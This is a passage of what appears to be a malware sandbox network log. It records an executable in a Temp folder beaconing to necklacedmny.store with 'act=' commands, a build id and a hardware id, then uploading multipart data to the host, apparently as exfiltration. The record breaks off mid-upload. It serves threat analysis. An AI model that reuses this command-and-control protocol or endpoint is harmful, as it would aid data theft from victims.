cfL4;desc="?proto=TCP&rtt=1144&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2196&delivery_rate=2711610&cwnd=242&unsent_bytes=0&cid=0823094ebd2c8a42&ts=930&x=0"
2024-10-30 20:56:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50259	188.114.96.3	443	6552	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:40 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 20:56:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 20:56:40 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jlpvm1u1h9rs80egjull8cmmnp; expires=Sun, 23-Feb-2025 14:43:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HBOfzgoFQwAiV1%2B1M8Ihihu%2FMhV1oTsTDAy4hiOqH3JtrVI3WzY8R7Jxi1CilgtTtUH4z%2BPjTHz5edPVgMDxJm8GPT09cZZZlaPlX%2BUDHpCIKu5MNtTQleZ3uOqy5RkKaiusFI4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae50347e2e46cc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2045&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1327831&cwnd=243&unsent_bytes=0&cid=cb01392d89694771&ts=558&x=0"
2024-10-30 20:56:40 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 20:56:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50262	188.114.96.3	443	6552	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:41 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 20:56:41 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 20:56:42 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e0uorms6kpbbgr99m1e5ft1qes; expires=Sun, 23-Feb-2025 14:43:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=poC0l4r7Q6uyJc68%2BoIE4ibEdirLFySBZVR38%2FTVDW94v6kMR1iQuTE3REFwVp8gdCx%2FTCzL5UFDMbHgGUfanMsqs2ITjiaw9NLCtKzHhPwzhmSraaPrlt%2FA3bi65%2BEqfJ88uzY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae503d4a514650-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2041&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1453085&cwnd=251&unsent_bytes=0&cid=97cf9b4a8f38dd5f&ts=504&x=0"
2024-10-30 20:56:42 UTC	352	IN	Data Raw: 34 64 64 0d 0a 62 77 78 67 57 79 74 67 68 79 42 34 4f 68 5a 63 67 66 71 68 42 46 6a 50 42 4a 2f 72 39 73 57 62 4f 66 34 77 4a 53 33 6b 38 2f 45 55 4c 68 5a 35 45 56 53 72 41 67 74 66 4e 47 62 31 69 4e 52 68 64 4f 31 6c 2b 38 6e 4d 6f 2f 70 56 6a 56 55 4a 44 35 4b 65 30 31 56 71 41 54 64 59 42 61 73 43 48 55 49 30 5a 74 71 42 67 32 45 32 37 54 36 39 6a 70 79 6e 2b 6c 57 63 55 55 35 43 6c 4a 2b 53 42 32 41 48 4d 30 34 44 34 30 45 55 56 33 4d 35 35 4a 76 4c 61 6a 47 69 62 50 4c 4a 32 75 66 2b 51 39 77 4b 42 32 43 42 68 35 41 69 62 52 4d 77 43 52 32 72 57 31 70 66 65 48 36 37 32 4d 42 68 4f 71 4e 69 2b 34 43 65 72 66 4e 64 6e 56 52 50 58 59 32 56 6d 51 64 75 42 44 4a 45 43 76 64 4d 48 6c 42 34 50 2b 36 62 67 79 68 36 71 6e 36 39 30 64 54 30 79 31 69 4e 51 31 Data Ascii: 4ddbwxgWytghyB4OhZcgfqhBFjPBJ/r9sWbOf4wJS3k8/EULhZ5EVSrAgtfNGb1iNRhdO1l+8nMo/pVjVUJD5Ke01VqATdYBasCHUI0ZtqBg2E27T69jpyn+lWcUU5ClJ+SB2AHM04D40EUV3M55JvLajGibPLJ2uf+Q9wKB2CBh5AibRMwCR2rW1pfeH672MBhOqNi+4CerfNdnVRPXY2VmQduBDJECvdMHlB4P+6bgyh6qn690dT0y1iNQ1
2024-10-30 20:56:42 UTC	900	IN	Data Raw: 49 44 2b 56 51 45 6c 4e 2f 4f 2f 47 54 79 6d 73 33 72 57 76 33 68 70 65 6e 2f 6c 47 57 58 55 31 4c 69 35 79 56 44 57 35 43 64 77 6b 46 2f 51 4a 43 47 46 63 37 38 35 2f 50 63 48 69 58 4a 75 4c 48 6a 65 66 2b 56 39 77 4b 42 30 65 44 6b 70 41 47 59 51 45 78 51 68 44 6c 55 42 78 56 63 53 7a 6c 6e 63 31 73 4f 62 39 73 38 34 2b 58 72 76 4a 53 6d 56 56 44 44 38 6a 52 6c 42 55 75 57 6e 6c 6f 44 2b 35 4f 45 45 39 30 66 76 7a 57 32 69 59 39 6f 53 61 6c 79 5a 43 6d 2f 56 71 59 58 45 6c 4c 69 70 65 64 41 47 45 45 4d 30 6b 46 37 30 6f 53 57 58 6b 31 37 4a 6a 47 61 7a 36 72 61 76 79 4d 31 4f 6d 35 58 49 51 53 48 77 2b 6f 6c 70 41 66 4c 44 63 36 52 77 7a 69 56 46 70 48 4f 69 65 6a 6e 38 38 6d 59 75 31 6f 2b 49 61 47 70 75 74 65 6b 6b 42 4c 53 6f 43 63 6b 41 4e 75 42 7a Data Ascii: ID+VQElN/O/GTyms3rWv3hpen/lGWXU1Li5yVDW5CdwkF/QJCGFc785/PcHiXJuLHjef+V9wKB0eDkpAGYQExQhDlUBxVcSzlnc1sOb9s84+XrvJSmVVDD8jRlBUuWnloD+5OEE90fvzW2iY9oSalyZCm/VqYXElLipedAGEEM0kF70oSWXk17JjGaz6ravyM1Om5XIQSHw+olpAfLDc6RwziVFpHOiejn88mYu1o+IaGputekkBLSoCckANuBz
2024-10-30 20:56:42 UTC	1369	IN	Data Raw: 33 66 38 66 0d 0a 2b 70 4c 45 31 46 6d 4e 4f 2b 57 30 57 73 77 71 47 6a 78 6a 4a 75 6e 2b 46 71 53 57 45 77 50 79 4e 47 55 46 53 35 61 65 57 59 50 39 56 41 51 55 32 56 38 31 70 76 4e 61 44 32 37 4a 75 4c 48 6a 65 66 2b 56 39 77 4b 42 30 53 41 6e 5a 38 4e 61 42 41 33 52 68 44 76 55 42 35 57 63 44 4c 74 6b 63 35 70 50 37 39 69 2f 5a 75 56 6f 76 35 56 6b 55 42 43 44 38 6a 52 6c 42 55 75 57 6e 6c 7a 4e 75 4a 53 43 31 38 32 43 2b 43 57 7a 57 45 73 37 58 6d 7a 6b 4e 53 67 39 52 76 45 45 6b 52 44 69 35 69 57 41 6e 77 49 4e 55 67 51 34 6b 73 54 55 6e 55 77 37 4a 50 50 59 79 69 6d 61 66 57 47 6c 61 72 30 55 4a 68 53 42 77 48 47 6c 6f 74 4e 4e 6b 49 59 52 41 33 33 51 51 73 61 51 54 33 74 6c 73 52 77 65 72 49 6f 35 4d 6d 54 71 37 6b 44 33 46 4e 4c 51 34 65 65 6c 51 Data Ascii: 3f8f+pLE1FmNO+W0WswqGjxjJun+FqSWEwPyNGUFS5aeWYP9VAQU2V81pvNaD27JuLHjef+V9wKB0SAnZ8NaBA3RhDvUB5WcDLtkc5pP79i/ZuVov5VkUBCD8jRlBUuWnlzNuJSC182C+CWzWEs7XmzkNSg9RvEEkRDi5iWAnwINUgQ4ksTUnUw7JPPYyimafWGlar0UJhSBwHGlotNNkIYRA33QQsaQT3tlsRwerIo5MmTq7kD3FNLQ4eelQ
2024-10-30 20:56:42 UTC	1369	IN	Data Raw: 51 67 62 68 51 68 64 54 65 6a 44 71 6c 4d 74 71 50 62 39 72 2b 49 47 65 72 76 78 58 6b 56 46 56 54 49 66 52 33 55 31 70 47 6e 6b 52 51 73 4a 78 4c 58 73 30 49 61 32 42 67 32 45 32 37 54 36 39 69 4a 79 67 39 31 2b 4f 58 46 56 42 67 5a 47 56 42 57 59 46 4e 55 63 4d 39 30 6f 62 57 48 6f 78 36 35 48 48 5a 7a 36 70 61 76 72 4a 32 75 66 2b 51 39 77 4b 42 32 65 46 69 34 6c 50 51 41 6b 35 54 68 4c 7a 57 56 70 48 4f 69 65 6a 6e 38 38 6d 59 75 31 69 39 6f 4f 64 70 50 42 66 6b 56 4a 4f 51 49 2b 5a 6e 67 56 38 41 7a 4e 62 42 75 42 44 46 56 4a 77 4e 75 2b 58 7a 32 49 6f 70 69 61 7a 79 5a 4f 2f 75 51 50 63 63 6b 78 5a 70 59 4f 42 54 58 46 4d 49 41 6b 46 36 51 4a 43 47 48 30 79 34 70 6e 4a 59 44 47 6f 61 2f 32 4d 6e 71 44 31 57 35 78 52 51 55 6d 4c 6d 5a 73 42 59 67 45 Data Ascii: QgbhQhdTejDqlMtqPb9r+IGervxXkVFVTIfR3U1pGnkRQsJxLXs0Ia2Bg2E27T69iJyg91+OXFVBgZGVBWYFNUcM90obWHox65HHZz6pavrJ2uf+Q9wKB2eFi4lPQAk5ThLzWVpHOiejn88mYu1i9oOdpPBfkVJOQI+ZngV8AzNbBuBDFVJwNu+Xz2IopiazyZO/uQPcckxZpYOBTXFMIAkF6QJCGH0y4pnJYDGoa/2MnqD1W5xRQUmLmZsBYgE
2024-10-30 20:56:42 UTC	1369	IN	Data Raw: 55 6b 63 56 6e 55 34 37 35 57 44 4b 48 71 71 66 72 33 52 31 49 44 6a 56 70 70 46 56 6e 71 42 6b 63 4a 4e 63 55 77 67 43 51 58 70 41 6b 49 59 65 54 4c 70 6c 63 5a 69 4d 71 70 6c 2f 49 57 51 71 76 52 66 6c 56 5a 43 58 5a 53 58 6e 51 31 68 44 44 5a 46 45 4f 74 48 47 6c 51 30 63 4b 4f 66 32 79 5a 69 37 56 66 71 69 64 53 34 74 30 4c 63 56 55 73 50 33 74 47 63 41 48 77 4f 4e 6b 6b 44 35 6b 59 52 58 33 49 34 34 70 76 47 5a 54 2b 72 5a 2f 32 46 6e 71 44 78 55 5a 4a 66 51 55 75 41 6c 39 4e 44 4c 67 55 68 43 56 71 6c 63 42 64 57 66 54 33 6c 6c 64 56 4f 43 2b 31 35 73 35 44 55 6f 50 55 62 78 42 4a 44 52 49 36 64 6c 67 56 72 41 7a 46 44 43 75 70 4e 43 46 6c 37 4e 2b 53 54 7a 6d 6b 30 71 47 6a 76 6a 70 2b 73 38 56 4b 53 56 41 63 42 78 70 61 4c 54 54 5a 43 44 30 6f 4d Data Ascii: UkcVnU475WDKHqqfr3R1IDjVppFVnqBkcJNcUwgCQXpAkIYeTLplcZiMqpl/IWQqvRflVZCXZSXnQ1hDDZFEOtHGlQ0cKOf2yZi7VfqidS4t0LcVUsP3tGcAHwONkkD5kYRX3I44pvGZT+rZ/2FnqDxUZJfQUuAl9NDLgUhCVqlcBdWfT3lldVOC+15s5DUoPUbxBJDRI6dlgVrAzFDCupNCFl7N+STzmk0qGjvjp+s8VKSVAcBxpaLTTZCD0oM
2024-10-30 20:56:42 UTC	1369	IN	Data Raw: 78 36 4c 4f 4b 58 67 79 68 36 71 6e 36 39 30 64 53 57 37 31 79 62 58 51 56 6d 67 59 71 53 42 32 30 4a 4e 51 6b 64 71 31 74 61 58 33 68 2b 75 39 6a 4f 61 6a 65 70 64 50 47 4a 6c 4b 37 2b 55 59 35 64 53 45 4b 46 6b 5a 59 66 62 78 41 32 51 67 66 6d 52 68 56 58 65 44 62 70 32 49 30 6d 50 62 55 6d 70 63 6d 34 70 4f 68 52 33 6e 56 64 57 59 47 64 67 67 5a 6a 44 6e 6c 57 54 50 77 43 48 56 51 30 5a 71 4f 59 77 6d 73 6f 71 47 66 33 67 35 6d 76 39 6c 36 5a 58 55 4e 4c 6a 5a 2b 42 41 32 45 43 50 30 49 44 34 45 45 52 55 6e 6f 33 38 64 69 4e 4a 6a 32 31 4a 71 58 4a 76 72 7a 34 56 70 41 51 61 55 53 51 6c 74 45 73 59 41 6b 2b 52 52 53 6c 58 56 52 42 4e 44 6e 76 32 4a 73 6d 4d 36 4e 71 2f 6f 36 63 72 2f 78 62 6c 31 4a 49 52 59 69 57 67 51 64 69 43 43 74 47 41 65 68 47 46 Data Ascii: x6LOKXgyh6qn690dSW71ybXQVmgYqSB20JNQkdq1taX3h+u9jOajepdPGJlK7+UY5dSEKFkZYfbxA2QgfmRhVXeDbp2I0mPbUmpcm4pOhR3nVdWYGdggZjDnlWTPwCHVQ0ZqOYwmsoqGf3g5mv9l6ZXUNLjZ+BA2ECP0ID4EERUno38diNJj21JqXJvrz4VpAQaUSQltEsYAk+RRSlXVRBNDnv2JsmM6Nq/o6cr/xbl1JIRYiWgQdiCCtGAehGF
2024-10-30 20:56:42 UTC	1369	IN	Data Raw: 6a 6e 38 38 6d 59 75 31 6d 2b 59 57 58 6f 50 64 55 6b 56 31 41 52 49 6d 62 6e 52 39 68 42 7a 46 46 43 75 68 51 45 46 4a 6d 4e 2b 71 56 7a 57 34 6f 72 69 61 7a 79 5a 4f 2f 75 51 50 63 59 45 31 4d 69 6f 65 65 41 69 34 64 64 31 42 43 34 6b 35 61 41 44 51 73 38 5a 6a 49 5a 6a 32 6a 64 50 79 42 6d 36 33 35 58 5a 64 59 52 45 61 43 6e 35 6f 4c 62 77 38 34 53 41 4c 67 51 68 4e 4b 65 58 36 74 32 4d 52 2b 65 76 55 6d 79 6f 57 66 6c 76 70 4e 33 45 30 4a 56 73 61 57 6e 30 30 32 51 6a 68 62 44 2b 31 47 47 6c 56 79 4e 65 4b 5a 77 47 59 36 72 6d 62 34 67 70 75 68 2f 6c 61 57 57 30 35 64 6a 70 57 42 44 57 49 47 65 51 64 43 34 6c 70 61 41 44 51 4f 34 4a 50 50 5a 6a 65 34 4a 75 4c 48 6a 65 66 2b 56 39 77 4b 42 30 65 4e 6d 70 55 47 62 51 45 33 51 67 6a 71 54 52 42 65 63 6a Data Ascii: jn88mYu1m+YWXoPdUkV1ARImbnR9hBzFFCuhQEFJmN+qVzW4oriazyZO/uQPcYE1MioeeAi4dd1BC4k5aADQs8ZjIZj2jdPyBm635XZdYREaCn5oLbw84SALgQhNKeX6t2MR+evUmyoWflvpN3E0JVsaWn002QjhbD+1GGlVyNeKZwGY6rmb4gpuh/laWW05djpWBDWIGeQdC4lpaADQO4JPPZje4JuLHjef+V9wKB0eNmpUGbQE3QgjqTRBecj
2024-10-30 20:56:42 UTC	1369	IN	Data Raw: 62 54 62 76 5a 2f 43 5a 6b 2b 65 33 47 35 6f 53 48 78 2f 49 30 5a 63 63 4c 6c 70 70 47 31 6d 77 45 55 30 49 4a 69 47 74 67 59 4e 77 65 76 55 30 73 38 6d 47 35 36 45 62 32 31 46 56 58 59 43 53 68 51 34 70 50 41 64 70 43 65 6c 42 46 6c 6c 7a 66 71 33 59 7a 43 5a 69 6c 43 62 2b 6d 34 62 6f 36 45 32 52 51 6b 41 44 6a 6f 43 65 41 53 35 4d 65 51 55 47 37 6b 34 66 58 32 52 78 38 59 6a 49 61 69 7a 68 59 75 2f 4a 32 75 66 6f 55 4a 4e 41 53 55 6a 4a 67 49 55 41 66 67 45 38 54 6b 37 74 55 78 64 55 4e 48 43 6a 6a 63 68 71 50 4b 42 7a 73 70 69 43 70 4f 39 63 30 46 70 57 51 6f 72 52 72 45 4d 75 47 6e 6b 52 51 74 42 42 46 46 5a 7a 4b 50 4c 56 34 32 30 32 72 6d 72 38 6a 74 54 70 75 56 33 63 43 68 51 42 78 70 57 43 54 54 5a 53 61 78 4a 58 74 68 56 4b 43 6d 74 77 2b 74 6a Data Ascii: bTbvZ/CZk+e3G5oSHx/I0ZccLlppG1mwEU0IJiGtgYNwevU0s8mG56Eb21FVXYCShQ4pPAdpCelBFllzfq3YzCZilCb+m4bo6E2RQkADjoCeAS5MeQUG7k4fX2Rx8YjIaizhYu/J2ufoUJNASUjJgIUAfgE8Tk7tUxdUNHCjjchqPKBzspiCpO9c0FpWQorRrEMuGnkRQtBBFFZzKPLV4202rmr8jtTpuV3cChQBxpWCTTZSaxJXthVKCmtw+tj
2024-10-30 20:56:42 UTC	1369	IN	Data Raw: 54 57 7a 79 59 62 6e 6f 52 76 62 58 45 70 4f 68 5a 2b 51 48 33 77 45 4f 6c 38 42 6f 6e 77 6b 66 58 6b 7a 35 70 62 45 57 41 53 4d 62 4f 32 45 6d 36 44 48 5a 61 74 44 51 46 2f 45 74 35 41 62 62 55 4a 33 43 52 71 6c 47 6c 70 35 66 69 37 75 6c 38 51 6d 64 4f 31 69 76 64 48 55 67 76 52 57 6d 56 78 41 44 61 65 62 67 77 42 68 42 58 6b 48 51 75 6b 43 51 68 68 31 4e 50 4f 56 7a 47 46 32 71 6e 7a 36 79 64 72 6e 39 78 76 45 45 6b 5a 46 6c 70 79 63 43 69 49 45 4e 30 64 43 2b 67 77 44 47 47 4a 2b 75 38 75 4e 4a 69 6a 74 50 72 33 4f 6d 71 72 34 57 4a 4a 52 56 56 32 41 6b 6f 55 4f 4b 54 77 48 62 41 2f 6f 52 78 52 66 53 67 44 43 6b 74 4e 72 4e 61 6f 6b 33 59 36 43 70 4d 64 6c 71 30 4e 41 58 38 53 33 6b 42 74 74 51 6e 63 4a 47 71 55 61 57 6e 6c 2b 4c 75 36 58 78 43 51 61 Data Ascii: TWzyYbnoRvbXEpOhZ+QH3wEOl8BonwkfXkz5pbEWASMbO2Em6DHZatDQF/Et5AbbUJ3CRqlGlp5fi7ul8QmdO1ivdHUgvRWmVxADaebgwBhBXkHQukCQhh1NPOVzGF2qnz6ydrn9xvEEkZFlpycCiIEN0dC+gwDGGJ+u8uNJijtPr3Omqr4WJJRVV2AkoUOKTwHbA/oRxRfSgDCktNrNaok3Y6CpMdlq0NAX8S3kBttQncJGqUaWnl+Lu6XxCQa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50264	188.114.96.3	443	6308	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:42 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 6580 Host: necklacedmny.store
2024-10-30 20:56:42 UTC	6580	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:43 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6hl7vdpk3hg3bi3o8nqsa7ft4a; expires=Sun, 23-Feb-2025 14:43:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Oi0vmmgJbYxO%2Bx53TpbzEu%2Ft8jD2mEQrREiunZOhgplczk5flllGAWckqsXF9AAu0Up%2BkHzDrc3waNteGuOtF%2FTvnLNw5CE6OUVaIi34en6CHzydOEEDuIbQxMGFtQXOLQMRMy8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae5042cec9e9ad-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1620&sent=6&recv=11&lost=0&retrans=0&sent_bytes=2845&recv_bytes=7499&delivery_rate=1697538&cwnd=32&unsent_bytes=0&cid=79ba34006e5911da&ts=502&x=0"
2024-10-30 20:56:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50271	188.114.96.3	443	6308	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:44 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 20:56:44 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=AF8FB255995CFA55A49D3AFC541E0FFF
2024-10-30 20:56:45 UTC	1012	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=186fjat918f9cjvcjrpdi22e0u; expires=Sun, 23-Feb-2025 14:43:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oZYDOKO8ezLSRAFVgVan2zpUVrZY2xoErAYKdhSUudfvrBVY8hR2xsp%2BlcfVTyNGg0UIbNFR8hhnirBaxfqymYRYDLzG5JElTa5sE2PzSU4v4oF%2FfwvnVr58Ly5I6DLYxYcSil0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae504f7940a916-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1779963&cwnd=141&unsent_bytes=0&cid=019ad7653f0071fd&ts=1348&x=0"
2024-10-30 20:56:45 UTC	214	IN	Data Raw: 64 30 0d 0a 53 74 50 2b 66 6c 44 58 68 31 59 64 37 36 46 35 45 2f 68 58 68 75 67 33 34 73 5a 52 69 57 32 45 52 30 53 78 68 64 74 79 43 42 67 52 71 4e 77 4c 63 75 32 6c 50 6d 6d 62 30 55 4e 50 31 77 75 70 32 51 2f 58 36 47 4f 34 57 4b 70 32 64 59 4b 72 36 6b 52 55 4e 79 57 31 6d 43 4a 2f 73 2b 49 77 4d 34 72 5a 48 44 48 55 64 65 43 63 46 64 6a 32 66 61 73 49 70 6e 31 30 7a 4b 6d 67 55 48 30 36 63 50 47 57 43 69 53 6e 76 51 6f 79 73 34 35 49 4b 38 31 35 74 4e 6b 43 7a 50 64 67 75 6b 4f 31 63 52 69 65 36 4c 49 63 62 55 52 6c 6f 5a 38 51 4e 4c 6a 71 65 48 69 58 78 46 73 2f 32 6a 48 79 79 67 33 53 36 6e 50 73 54 37 35 33 4f 65 77 3d 0d 0a Data Ascii: d0StP+flDXh1Yd76F5E/hXhug34sZRiW2ER0SxhdtyCBgRqNwLcu2lPmmb0UNP1wup2Q/X6GO4WKp2dYKr6kRUNyW1mCJ/s+IwM4rZHDHUdeCcFdj2fasIpn10zKmgUH06cPGWCiSnvQoys45IK815tNkCzPdgukO1cRie6LIcbURloZ8QNLjqeHiXxFs/2jHyyg3S6nPsT753Oew=
2024-10-30 20:56:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50272	188.114.96.3	443	6552	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:45 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-30 20:56:45 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: 